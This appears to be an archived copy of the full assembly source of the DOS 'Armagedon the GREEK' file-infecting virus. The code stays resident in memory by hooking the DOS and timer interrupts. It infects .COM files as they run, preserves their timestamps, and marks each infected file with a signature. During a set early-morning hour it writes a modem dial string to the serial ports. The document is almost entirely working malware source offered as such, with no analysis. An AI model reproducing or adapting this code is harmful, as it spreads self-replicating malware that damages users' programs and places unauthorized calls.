home *** CD-ROM | disk | FTP | other *** search
- dta equ offset last_byte+10
- virlen equ (offset last_byte - offset start)
- strlen equ (offset endstr - offset startstr)
-
- code segment
- assume cs:code,ds:code
- org 100h
- start: jmp main
-
- newint21 proc far ; SETS THE 'INT 21h' VIRUSED
- pushf ; Save flags for compare
- cmp ah,0e0h ; Is it exist-test?
- jnz notest1 ; if not go on
- mov ax,0dadah ; else return signature,
- popf ; restore flag and
- iret ; return to program
- notest1: cmp ah,0e1h
- jnz notest2
- mov ax,cs
- popf
- iret
- notest2: cmp ax,4b00h ; is 'EXEC' command?
- jz infector ; if yes go to 'infection'
- do_oldint: popf ; restore flags
- jmp dword ptr cs:oldint21a; jump to normal INT 21h
- newint21 endp
-
- oldint21a dw ? ; old INT 21h vector (low)
- oldint21b dw ? ; old INT 21h vector (high)
- oldint8a dw ? ; old INT 8 vector (low)
- oldint8b dw ? ; old INT 8 vector (high)
- status db 0 ; flag for time (call in progress)
- ticks db 0 ; 18.2 tick counter
- cur_h db 0 ; Current time (HOURS)
- cur_m db 0 ; Current time (MINUTES)
- cur_s db 0 ; Current time (SECONDS)
- count dw 0 ; dial counter (30 sec, 540 ticks)
- garbidge db 0
- stringpos db 0
- call_made db 0
- init_done db 0
- comext db 'COM' ; Valid inf. extension
- handle dw ? ; inf. handle number
- filesize dw 20
- prseg dw ?
- seg_buffer dw ?
- ss_reg dw ?
- sp_reg dw ?
- fileds dw ?
- filedx dw ?
- attr dw ?
- filedate dw ?
- filetime dw ?
-
- env_seg dw 00h
- cdline_offs dw 81h
- cdline_seg dw ?
- fcb1_offs dw 5ch
- fcb1_seg dw ?
- fcb2_offs dw 6ch
- fcb2_seg dw ?
-
- infector proc near ; PROGRAM INFECTOR
- assume cs:code ;
- push ds ; save registers to
- push bx ; insure normal operation
- push si ; by the INT 21h (ah=4b00h)
- push cx ;
- push ax ;
- push dx ;
- push bp ;
- push es ;
- push di ;
-
- cld ; Reset direction to increament
- push dx ; Store the address of the
- push ds ; filespec (DS:DX)
- xor cx,cx ; reset counter
- mov si,dx ; set ptr to filespec
- nxtchr: mov al,ds:[si] ; take a char
- cmp al,0 ; is it zero?
- jz okay ; if yes goto okay
- inc cx ; else increase counter
- inc si ; and pointer
- jmp nxtchr ; take the next chr if CX>0
- okay:
- add dx,cx ; Point to end of filespec
- sub dx,3 ; point to .EXT
- mov si,offset comext ; Check if it is a
- mov di,dx ; .COM file
- cmp byte ptr ds:[di-3],'N';
- jnz ok_1 ; Is it a ND. ?
- cmp byte ptr ds:[di-2],'D'; if yes exit!
- jz nmatch ;
- ok_1: mov cx,3 ; checking counter in 3
- cmp_loop: mov al,cs:[si] ; take 1st ptr's chr
- cmp al,ds:[di] ; and compare it with filespec
- jnz nmatch ; If no matching, exit
- inc si ; else increase 1st ptr
- inc di ; and second ptr
- loop cmp_loop ; take next compare if CX>0
-
- pop ds ; restore ds and dx to point
- pop dx ;
-
- push dx ; Store pointer
- push ds ;
- mov si,dx ; Check if filespec
- mov dl,0 ; contains a drive
- cmp byte ptr ds:[si+1],':'; letter
- jnz nodrive ; If no jump to nodrive spec.
- mov dl,ds:[si] ; else take the drive in DL
- and dl,0fh ; and modify for int 21h (ah=36h)
- nodrive: mov ah,36h ; Take free disk space of DL disk
- int 21h ; Do the call
- cmp ax,0ffffh ; Was an invalid drive specified?
- jz nmatch ; if yes, exit
- jmp bypass ; Correct jx 127 limit
-
- nmatch: jmp nomatch
- invd: jmp invdrive
- closeit1: jmp closeit
- resdta1: jmp resdta
-
- bypass: cmp bx,3 ; Are there at least 3 clust. free?
- jb nmatch ; If no, exit
- pop ds ; restore pointers
- pop dx ;
-
- push ds ; and allocate memory
- push dx ; for the infection
- mov cs:fileds,ds
- mov cs:filedx,dx
- mov ax,4300h ; code for Get Attr
- int 21h
- mov cs:attr,cx
- mov ax,4301h
- xor cx,cx
- int 21h
-
- mov bx,0ffffh
- mov ah,48h
- int 21h
- mov ah,48h
- int 21h
- mov cs:seg_buffer,ax
-
- mov ax,cs
- mov ds,ax
- mov dx,dta
- mov ah,1ah
- int 21h
-
- pop dx
- pop ds
- mov ax,3d02h ; DosFn OPEN FILE (R/W)
- clc ; Clear carry flag
- int 21h ; Do open
- jc closeit1 ; If Error exit
- mov bx,ax ; Handle to BX
- mov cs:handle,ax ; save handle
- mov cx,0ffffh ; Bytes to read
- mov ax,cs:seg_buffer ;
- mov ds,ax ;
- mov dx,virlen ; DS:DX points to buffer
- mov ah,3fh ; DosFn READ FROM FILE
- clc ; clear carry flag
- int 21h ; Do the call
- jc closeit1 ; if error exit
- mov cs:filesize,ax ; Num of bytes actually read
- ;cmp ax,0e000h ; max com size to infect
- ;ja closeit1 ; if size>max exit
- cmp ax,virlen ; if filesize is less than the
- jb virit ; virus size then it is clean
- mov si,virlen+1 ; Set 1st ptr to START of file
- add si,si ; add 1st ptr the length of file
- sub si,21 ; and subtract 12 to point to sig.
- mov cx,19 ; set the test loop to 10 bytes
- mov di,offset signature ; Set 2nd ptr to constant signature
- test_sig: mov al,ds:[si] ; take the byte pointed to by SI
- mov ah,cs:[di] ; and compare it with the byte
- cmp ah,al ; pointed to by DI
- jne virit ; if not equal then it is clean!
- inc si ; else increase 1st pointer
- inc di ; increase 2nd pointer
- loop test_sig ; continue with next if CX>0
- jmp closeit
-
- virit: mov ax,4200h ; Code for LSEEK (Start)
- mov bx,cs:handle ; Handle num in BX
- xor cx,cx ; Reset CX
- mov dx,cx ; and DX
- int 21h ; Do the call
- jc closeit
-
- mov si,offset start
- mov cx,virlen
- xor di,di
- mov ax,cs:seg_buffer
- mov ds,ax
- virusin: mov al,cs:[si]
- mov ds:[di],al
- inc si
- inc di
- loop virusin
-
- mov ax,5700h
- mov bx,cs:handle
- int 21h
- mov cs:filetime,cx
- mov cs:filedate,dx
-
- mov ax,cs:seg_buffer
- mov ds,ax
-
- mov si,virlen
- mov al,ds:[si]
- add al,11
- mov ds:[si],al
-
- xor dx,dx ; DX points to Buffer (file)
- mov cx,cs:filesize ; Size of file in CX
- add cx,virlen ; But added by Virlen
- mov bx,cs:handle ; File handle num in BX
- mov ah,40h ; Code for WRITE FILE
- int 21h ; Do the call
-
- mov cx,cs:filetime
- mov dx,cs:filedate
- mov bx,cs:handle
- mov ax,5701h
- int 21h
-
- closeit: mov bx,cs:handle ; Handle in BX
- mov ah,3eh ; Code for CLOSE FILE
- int 21h ; Do close it
- push cs
- pop ds
- resdta: mov dx,80h ; Reset the DTA
- mov ah,1ah ; in Address 80H
- int 21h ; Do call
- mov ax,cs:seg_buffer
- mov es,ax
- mov ah,49h
- int 21h
-
- mov ax,cs:fileds ;
- mov ds,ax ;
- mov dx,cs:filedx ;
- mov ax,4301h ;
- mov cx,cs:attr ;
- int 21h ;
- jmp invdrive ; and exit
- nomatch:
- pop ds
- pop dx
- jmp notinfect
-
- invdrive:
- notinfect:
- pop di ; restore registers
- pop es ; to their initial
- pop bp ; values
- pop dx ;
- pop ax ;
- pop cx ;
- pop si ;
- pop bx ;
- pop ds ;
- jmp do_oldint ; return from call
- infector endp
-
- newint8 proc far ; VIRUS' TIMER ISR
- push bp ;
- push ds ; store all registers
- push es ; and flags before
- push ax ; the new timer
- push bx ; operations.
- push cx ; Otherwize a 'crush'
- push dx ; is unavoidable
- push si ;
- push di ;
- pushf ; Simulate an INT
- call dword ptr cs:oldint8a ; Do old timer stuff
- call tick ; update virus clock routine
- push cs
- pop ds
- mov ah,5 ; Check if time
- mov ch,cur_h ; is now above the
- cmp ah,ch ; lower limit (5 o'clock)
- ja exitpoint ; if not, exit
- mov ah,6 ; Check if time
- cmp ah,ch ; is now below the higher limit
- jb exitpoint ; if not, exit
- mov ah,status ; get the virus status
- cmp ah,1 ; test if call in progress
- jz in_progress ; if yes goto countdown routine
- mov ah,1 ; if not, set the status to
- mov status,ah ; indicate 'In progress'
- jmp exitpoint ; and exit
- in_progress: ; CALL IS IN PROGRESS!
- call dial ; else call dial routine
- inc count ; CALL_TIMER
- mov ax,count
- cmp ax,540 ; check for time-out
- jne exitpoint ; if not, exit else
- xor ax,ax ; set status to indicate
- mov status,ah ; 'ready to call'!
- mov count,ax ; reset call_timer
- mov call_made,ah
- exitpoint:
- pop di ; restore registers to
- pop si ; their values and
- pop dx ;
- pop cx ;
- pop bx ;
- pop ax ;
- pop es ;
- pop ds ;
- pop bp ;
- iret ; return to program
- newint8 endp
-
- tick proc near ; VIRUS' CLOCK ROUTINE
- assume cs:code,ds:code
- push cs
- pop ds
- xor al,al
- mov ah,ticks ; test if ticks have
- cmp ah,17 ; reached limit (17)
- jnz incticks ; if no, incerase ticks
- mov ah,cur_s ; test if seconds have
- cmp ah,59 ; reached limit (59)
- jnz incsec ; if no, increase seconds
- mov ah,cur_m ; test if minutes have
- cmp ah,59 ; reached limit (59)
- jnz incmin ; if no, increase minutes
- mov ah,cur_h ; test if hours have
- cmp ah,23 ; reached limit (23)
- jnz inchour ; if no, increase hours
- mov cur_h,al ; else reset hours
- exitp3: mov cur_m,al ; reset minutes
- exitp2: mov cur_s,al ; reset seconds
- exitp1: mov ticks,al ; reset ticks
- ret ; end exit
- incticks: inc ticks ; increase ticks
- ret ; and exit
- incsec: inc cur_s ; increase seconds
- jmp exitp1 ; and exit
- incmin: inc cur_m ; increase minutes
- jmp exitp2 ; and exit
- inchour: inc cur_h ; increase hours
- jmp exitp3 ; end exit
- tick endp
-
- startstr:
- string db '+++aTh0m0s7=35dp081,,,,141'
- endstr:
-
- dial proc near
- assume cs:code,ds:code
-
- mov al,call_made
- cmp al,1
- jz exit_dial
- mov al,init_done
- cmp al,1
- jz send_one
-
- mov cx,3
- next_init: mov dx,cx
- xor ah,ah
- mov al,131
- int 14h
- loop next_init
- mov al,1
- mov init_done,al
- jmp exit_dial
-
- send_one: push cs
- pop ds
- mov si,offset string
- mov al,stringpos
- cmp al,strlen
- jnz do_send
- jmp sendret
-
- do_send: xor ah,ah
- add si,ax
- next_char: mov al,[si]
- mov dx,3f8h
- out dx,al
- mov dx,2f8h
- out dx,al
- mov dx,2e8h
- out dx,al
- mov dx,3e8h
- out dx,al
- inc stringpos
- jmp exit_dial
-
- sendret: mov cx,3
- retloop: mov dx,cx
- mov al,13
- mov ah,1
- int 14h
- loop retloop
-
- reset: mov ax,0001h
- mov call_made,al
- mov stringpos,ah
- mov init_done,ah
- exit_dial: ret
- dial endp
-
- main: ; VIRUS' MEMORY INSTALLER
- assume cs:code,ds:code ;
- mov ah,0e0h ; is VIRUS already
- int 21h ; in memory?
- cmp ax,0dadah ; if yes then
- jnz cont ; terminate, else
- jmp already_in
- cont: push cs
- pop ds
- mov ax,3521h ; capture the old
- int 21h ; INT 21h vector and
- mov oldint21a,bx ; store the absolute address
- mov oldint21b,es ; in 'oldint21x' variables
- mov dx,offset newint21 ; point to new INT 21h ISR
- mov ax,2521h ; replace it to vector
- int 21h ;
- mov ax,3508h ; capture the old
- int 21h ; timer vector and
- mov oldint8a,bx ; store the address
- mov oldint8b,es ; in 'oldint8x' var
- mov dx,offset newint8 ; point to new timer ISR
- mov ax,2508h ; replace it to vector
- int 21h ;
- mov ah,2ch ; get the current
- int 21h ; time from DOS
- mov cur_h,ch ; and store it
- mov cur_m,cl ; for the
- mov cur_s,dh ; virus' timer
- ; RUN PROGRAM!
- mov ax,cs:[2ch]
- mov ds,ax
- xor si,si
- loop1: mov al,ds:[si]
- cmp al,1
- jz exitl1
- inc si
- jmp loop1
- exitl1: inc si
- inc si
- mov dx,si
-
- mov ax,cs
- mov es,ax ; SHRINK BLOCK
- mov bx,90
- mov ah,4ah
- int 21h
-
- mov bx,cs:[81h]
- mov ax,cs
- mov es,ax
- mov cs:fcb1_seg,ax
- mov cs:fcb2_seg,ax
- mov cs:cdline_seg,ax
- mov ax,4b00h
- ;
- ;
- ;
- mov cs:ss_reg,ss
- mov cs:sp_reg,sp
- pushf
- call dword ptr cs:oldint21a
- mov ax,cs:ss_reg
- mov ss,ax
- mov ax,cs:sp_reg
- mov sp,ax
- mov ax,cs
- mov ds,ax
- mov dx,offset last_byte
- int 27h
-
- already_in: mov ah,0e1h
- int 21h
- mov si,offset pokelabl
- mov cs:[si+3],ax
- mov ax,offset fix_com
- mov cs:[si+1],ax
- mov ax,cs:filesize
- mov bx,cs
- pokelabl: db 0eah,00h,00h,00h,00h
-
- fix_com: mov cx,ax
- mov ds,bx
- mov si,100h
- mov di,100h+virlen
- dofix: mov al,ds:[di]
- mov ds:[si],al
- inc si
- inc di
- loop dofix
- mov si,offset poklb
- mov cs:[si+3],ds
- mov al,ds:[100h]
- sub al,11
- mov ds:[100h],al
- mov ax,ds
- mov es,ax
- mov ss,ax
- poklb: db 0eah,00h,01h,00h,00h
-
- signature: db 'Armagedon the GREEK'
- last_byte: db 90h+11
- nop
- nop
- nop
- mov ah,4ch
- int 21h
- code ends
- end start